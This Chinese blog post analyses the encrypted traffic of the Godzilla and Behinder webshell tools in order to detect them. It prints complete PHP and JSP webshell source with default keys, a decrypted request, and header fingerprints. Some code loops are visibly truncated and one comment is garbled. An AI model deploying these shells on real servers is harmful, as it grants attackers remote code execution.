目录哥斯拉冰蝎
哥斯拉和冰蝎相较于菜刀蚁剑,它们的通信流量是加密的,有比较好的抗检测能力。
菜刀和蚁剑流量分析:Webshell流量分析之菜刀Chopper&蚁剑AntSword
哥斯拉
哥斯拉(Godzilla)是由Java开发的一款Webshell管理工具,支持多种类型的Webshell,支持加通信流量加密。
哥斯拉v4.0.1下载地址:https://github.com/BeichenDream/Godzilla/releases/tag/v4.0.1-godzilla
在使用哥斯拉之前需要准备 jdk1.8 的环境。
哥斯拉支持jsp、php、aspx等多种载荷,java和c#的载荷原生实现AES加密,PHP使用异或加密。
PHP Shell
管理 -> 生成 -> 有效载荷PhpDynamicPayload
加密器有 3 种:
PHP_EVAL_XOR_BASE64 生成的shell:
eval($_POST["pass"]);
PHP_XOR_BASE64 生成的shell:
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i $c = $K[$i+1&15]; $D[$i] = $D[$i]^$c; } return $D; } $pass='pass'; $payloadName='payload'; $key='3c6e0b8a9c15224a'; if (isset($_POST[$pass])){ $data=encode(base64_decode($_POST[$pass]),$key); if (isset($_SESSION[$payloadName])){ $payload=encode($_SESSION[$payloadName],$key); if (strpos($payload,"getBasicsInfo")===false){ $payload=encode($payload,$key); } eval($payload); echo substr(md5($pass.$key),0,16); echo base64_encode(encode(@run($data),$key)); echo substr(md5($pass.$key),16); }else{ if (strpos($data,"getBasicsInfo")!==false){ $_SESSION[$payloadName]=encode($data,$key); } } } encode()函数用于对数据进行异或加密,待加密的数据$D和$K密钥。 $pass: 密码参数的名称 $payloadName: 有效载荷参数的名称 $key: 密钥 将接收到的pass经过Base64解码,然后使用密钥进行异或解密。判断是否设置有效载荷参,将载荷数据密钥解密,并检查是否包含字符串“getBasicsInfo”。如果不包含则再次对载荷数据进行解密,然后eval()函数执行解密后的Payload。 PHP_XOR_RAW 生成的shell:
@session_start(); @set_time_limit(0); @error_reporting(0); function encode($D,$K){ for($i=0;$i $c = $K[$i+1&15]; $D[$i] = $D[$i]^$c; } return $D; } $payloadName='payload'; $key='3c6e0b8a9c15224a'; $data=file_get_contents("php://input"); if ($data!==false){ $data=encode($data,$key); if (isset($_SESSION[$payloadName])){ $payload=encode($_SESSION[$payloadName],$key); if (strpos($payload,"getBasicsInfo")===false){ $payload=encode($payload,$key); } eval($payload); echo encode(@run($data),$key); }else{ if (strpos($data,"getBasicsInfo")!==false){ $_SESSION[$payloadName]=encode($data,$key); } } } 和上一个很类似,只不过data是读取 php://input 流中的数据,读取http请求的原始请求体数据的输入流。 初始的3次请求 这里选着第一种PHP_EVAL_XOR_BASE64,选择对应有效载荷和加密器: Wireshark抓取连接shell的数据包,一共进行了 3次 请求: 第一次请求的数据包通常要比后面两个数据包要大,而且第一个请求包的http响应体是空的: 第二次请求的数据包会携带响应数据包设置的Cookie值,http响应体是一段相对固定长的串,长度为64个字节,可以分为前16字节,中间32字节,结尾16字节。 第三次请求的数据包仔细看也是有一有意思的特征,前16个字节和最后的16个字节和第二响应包是一致的,继续抓后面的包,同样有这个特性。 原因在于哥斯拉对响应报文格式的设计,一个32位的md5字符串会被拆分为两部分,分别放在base64编码数据的前后。在后面的jsp脚本同样会分析到。 一个通用的连接特征:哥斯拉在进行初始化时会产生一个较大的数据包(第一个),后续操作产生的数据包则相对较小。 数据都是加密的,所以哥斯拉的抗静态检测能力还是很强的。但是仍然有一些特征是可以被察觉到的: Accept 字段(弱特征)默认是: Cookie 中有一个非常关键的特征,最后会有个分号: JSP Shell 管理 -> 生成 -> 有效载荷JAVADynamicPayload 加密器有 2 种: JAVA_AES_BASE64 生成的shell: <%! String xc = "3c6e0b8a9c15224a"; String pass = "pass"; String md5 = md5(pass + xc); class X extends ClassLoader { public Class Q(byte[] cb) { ... } } public byte[] x(byte[] s, boolean m) { ... } public static String md5(String s) { ... } public static String base64Encode(byte[] bs) throws Exception { ... } public static byte[] base64Decode(String bs) throws Exception { ... } %> <% try { byte[] data = base64Decode(request.getParameter(pass)); data = x(data, false); if (session.getAttribute("payload") == null) { session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data)); } else { request.setAttribute("parameters", data); java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream(); Object f = ((Class) session.getAttribute("payload")).newInstance(); f.equals(arrOut); f.equals(pageContext); response.getWriter().write(md5.substring(0, 16)); f.toString(); response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true))); response.getWriter().write(md5.substring(16)); } } catch (Exception e) {} %> 这个response对象会产生一个固定特征:如果使用base64编码,响应体会出现一个固定特征,一个32位的md5字符串会被拆分为两部分,分别放在base64编码数据的前后。 response.getWriter().write(md5.substring(0, 16)); response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true))); response.getWriter().write(md5.substring(16)); JAVA_AES_ROW 生成的shell: <%! String xc = "3c6e0b8a9c15224a"; class X extends ClassLoader { ... } public byte[] x(byte[] s, boolean m) { ... } %> <% try { byte[] data = new byte[Integer.parseInt(request.getHeader("Content-Length"))]; java.io.InputStream inputStream = request.getInputStream(); int _num = 0; while ((_num += inputStream.read(data, _num, data.length)) < data.length); data = x(data, false); if (session.getAttribute("payload") == null) { session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data)); } else { request.setAttribute("parameters", data); Object f = ((Class) session.getAttribute("payload")).newInstance(); java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream(); f.equals(arrOut); f.equals(pageContext); f.toString(); response.getOutputStream().write(x(arrOut.toByteArray(), true)); } } catch (Exception e) {} %> 在默认脚本编码的情况下,jsp会出现xc、pass字符和Java反射(ClassLoadergetClass().getClassLoader()),base64加解码等特征。 关于jsp木马详细分析可参考其他师傅的文章:https://blog.csdn.net/zeros__/article/details/111613134 和php木马类似,jsp的木马流量同样进行三次请求,请求数据同样是加密的,响应包也有类似结构。同样存在Accept字段弱特征,和Cookie中最后会有个分号。 asp木马不太熟悉,暂时不介绍,但基本的流量弱特征和php和jsp类似。 冰蝎 冰蝎也是一款基于Java开发的动态加密通信流量的新型Webshell客户端,它的通信流量也是被加密的。 冰蝎有四个大版本,目前最新版Behinder_v4.1【t00ls专版】下载: https://github.com/rebeyond/Behinder/releases/tag/Behinder_v4.1【t00ls专版】 再最新的4版本中提供了传输协议自定义功能,支持让用户对流量的加密和解密进行自定义。 传输协议有以下这 6 种: PHP Shell 主流的 3 种,这里以php的shell为例: default_xor 生成的php shell:
@error_reporting(0); $post=Decrypt(file_get_contents("php://input")); @eval($post); ?> default_xor_base64 生成的php shell:
@error_reporting(0); function Decrypt($data) { $key="e45e329feb5d925b"; $bs="base64_"."decode"; $after=$bs($data.""); for($i=0;$i $after[$i] = $after[$i]^$key[$i+1&15]; } return $after; } $post=Decrypt(file_get_contents("php://input")); @eval($post); ?> default_aes 生成的php shell:
@error_reporting(0); function Decrypt($data) { $key="e45e329feb5d925b"; //诼ĺŻéĽä¸şčżćĽĺŻç 32ä˝md5ĺźçĺ?16ä˝ďźéťčޤčżćĽĺŻç rebeyond return openssl_decrypt(base64_decode($data), "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING); } $post=Decrypt(file_get_contents("php://input")); @eval($post); ?> 请求和响应数据解密 这里将采用AES加密模式的shell上传到服务器,如图新增Shell,加密类型选择自定义: 连接成功: 冰蝎的初始通信过程会产生 2 个请求数据包: 大致的通信流程: 本地对Payload进行加密,然后通过POST请求发送给远程服务端 服务端收到Payload密文后,利用解密算法进行解密 服务端执行解密后的Payload,并获取执行结果 服务端对Payload执行结果进行加密,然后返回给本地客户端 客户端收到响应密文后,利用解密算法解密,得到响应内容明文 尝试对第 1 个请求报文进行默认的aes密钥解密: 推荐一个AES加解密工具网站:https://www.toolhelper.cn/SymmetricEncryption/AES 根据上面生默认生成的shell可知,AES加密采用的是ECB模式,密钥长度128bits。这里选择对应选项,使用默认密钥e45e329feb5d925b进行解密。 获得解密后的冰蝎请求中的PHP代码: @error_reporting(0); function main($content) { $result = array(); $result["status"] = base64_encode("success"); $result["msg"] = base64_encode($content); @session_start(); //初始化session,避免connect之后直接background,后续getresult无法获取cookie echo encrypt(json_encode($result)); } function Encrypt($data) { $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的�?16位,默认连接密码rebeyond return base64_encode(openssl_encrypt($data, "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING)); } $content="N1BEeVp0Q0lXUlQ1aERsaFgxOEc2RlgyOEY1UE1XbWdVc3czQXZCcmYya2NzZXk5VVlqTTNTVzRXWWZkdXZjVjgxcmpjNXRLcWdNYldGbjdTbjhudEFwQktOQjdCWklZRnFTVEl6QTVHZGtDREdBZUx0d3prOWFiVGtzZ2ttMlNackIzdjY0bVpHc2kwV05hd2ZPU28wTlRnOVhyRmQydlM5bVM1WWs1QVpVNk4yREw5cDg2YzNoM2xnU2UxNjF6ZEFsamJGM0R6QjlEREFtWkMzZkNCMXIzWGVoc1licnE1dGwxNW83Rlo1RXJOZ0tjN2tIa0tzeFpzbHBvNWhMUGExd0drM1c5Y0VVVG1wYVBYV0l3VUZ6Q080YjBRcEVTbGVKQUN5MWZPcHBtOTJwRkdNWGpxWFNRMzZsUjJoQ2J5M0pKbVhFVEx5YmxHQnY4N2ZsTU44dVB6MDAwYktIaFRMUXhaS1JoM3FmT05GVXNyRHpUTm12R1FpTXVhNGpFNlB0RjZURlFzMFl4UnNoSGF2UDF1VW9qMmh0VlQxUE9ZdTFPRjZtZzhQR0EyUHFEcEYzbkZDcW1UaGpKdktYd3hQSXNFU2VkNVlaTGtteEpMeHlPWWNWV0RpeGp6Um9XU1Yya0tKbkt4clZqUWVaSm83M0lsMnhKOEdZUmtWbHVQZUVnU2hSeFk1c3ZNc2ZyZVhaZXBVclA4TnR0bjNyNW0xYURqb1FWQWpFdnBtaDIzMkFENnFHRHh5enJ0c25mQlpEMFdhZnlSQ3k4WlFqSW5JWVRaaWVUVHRhUXREY0k0cWdxN2VtYUszVFlNWFFMUW1VcDlWako3ZjVWdHlTU1VQdmFnQTF6N2VCOHpEMDIyN1EyQnJncDFQTzM4S1pDQnMzU0VRdzNKdzh4VW1xSk13cm1vR1pNbzhpT2k1cTEydzI0c2VnMW13czBmMmpJOVltVzlJTVJTY0dES3hnc3JUTG5qQ2NFck5SSTM3TmFEYlA5M2JzZGE2WUIwV0xMV0RMVlJ2U2k0Y1BiNUJT";$content=base64_decode($content); main($content); 代码中content这个变量名称和里面的内容为随机生成的,目的是为了绕过Content-Length。 然后再在对响应内容AES解密: 解密内容: {"status":"c3VjY2Vzcw==","msg":"N1BEeVp0Q0lXUlQ1aERsaFgxOEc2RlgyOEY1UE1XbWdVc3czQXZCcmYya2NzZXk5VVlqTTNTVzRXWWZkdXZjVjgxcmpjNXRLcWdNYldGbjdTbjhudEFwQktOQjdCWklZRnFTVEl6QTVHZGtDREdBZUx0d3prOWFiVGtzZ2ttMlNackIzdjY0bVpHc2kwV05hd2ZPU28wTlRnOVhyRmQydlM5bVM1WWs1QVpVNk4yREw5cDg2YzNoM2xnU2UxNjF6ZEFsamJGM0R6QjlEREFtWkMzZkNCMXIzWGVoc1licnE1dGwxNW83Rlo1RXJOZ0tjN2tIa0tzeFpzbHBvNWhMUGExd0drM1c5Y0VVVG1wYVBYV0l3VUZ6Q080YjBRcEVTbGVKQUN5MWZPcHBtOTJwRkdNWGpxWFNRMzZsUjJoQ2J5M0pKbVhFVEx5YmxHQnY4N2ZsTU44dVB6MDAwYktIaFRMUXhaS1JoM3FmT05GVXNyRHpUTm12R1FpTXVhNGpFNlB0RjZURlFzMFl4UnNoSGF2UDF1VW9qMmh0VlQxUE9ZdTFPRjZtZzhQR0EyUHFEcEYzbkZDcW1UaGpKdktYd3hQSXNFU2VkNVlaTGtteEpMeHlPWWNWV0RpeGp6Um9XU1Yya0tKbkt4clZqUWVaSm83M0lsMnhKOEdZUmtWbHVQZUVnU2hSeFk1c3ZNc2ZyZVhaZXBVclA4TnR0bjNyNW0xYURqb1FWQWpFdnBtaDIzMkFENnFHRHh5enJ0c25mQlpEMFdhZnlSQ3k4WlFqSW5JWVRaaWVUVHRhUXREY0k0cWdxN2VtYUszVFlNWFFMUW1VcDlWako3ZjVWdHlTU1VQdmFnQTF6N2VCOHpEMDIyN1EyQnJncDFQTzM4S1pDQnMzU0VRdzNKdzh4VW1xSk13cm1vR1pNbzhpT2k1cTEydzI0c2VnMW13czBmMmpJOVltVzlJTVJTY0dES3hnc3JUTG5qQ2NFck5SSTM3TmFEYlA5M2JzZGE2WUIwV0xMV0RMVlJ2U2k0Y1BiNUJT"} 可以看到返回的格式为: {"status":"success","msg":"...base64..."} 其中msg是一段Base64字符串,它就是请求报文中content经过Base64编码,然后再AES加密后生成的。其作用和请求中的content一样都是为了绕过Content-Length。 C/S的AES密钥 分析第一个请求和响应,发现并没传递AES密钥的部分,尽管这里使用默认的密钥,C/S如何共享密钥? 原因: 冰蝎的Webshell中这个AES密钥就是连接密码MD5值的前16位。 默认连接密码为rebeyond,它的MD5值的前16位就是前面多次提到的e45e329feb5d925b。所以当连接密码确定后,本地生成的服务端shell中就会自带AES密钥,并不需要客户端与服务端的请求和响应来获取。 对通信协议的分析就到这里,更加详细的内容参考官方给出的文档:https://mp.weixin.qq.com/s/EwY8if6ed_hZ3nQBiC3o7A 分析数据包的头部,冰蝎的数据包也会存在一些弱特征: 比如: Accept 字段: Accept: application/json, text/javascript, */*; q=0.01 Content-Type 字段: Content-type: application/x-www-form-urlencoded Connection 长连接: Connection: Keep-Alive 冰蝎4.0 内置10种 User-Agent 请求头: "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 Edg/99.0.1150.55", "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0", "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0", "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko" 总结: 哥斯拉和冰蝎的流量特征分析,它们都会存在请求Header固定字段属于弱特征。除了这些,上传的Webshell文件也包含固定特征,检测流量中是否包含Webshell固定代码,判断是否为上传Webshell文件。 参考文章: http://danielw.top/index.php/daniel/251/ https://blog.csdn.net/miraclehw/article/details/129701611 https://cn-sec.com/archives/2655301.html https://www.cnblogs.com/mr-ryan/p/17807521.html https://www.cheetah-lab.com/?p=159 若有错误,欢迎指正!o( ̄▽ ̄)ブ
怎样提高你的深度思考力?从这3点做起
Java程序员常用软件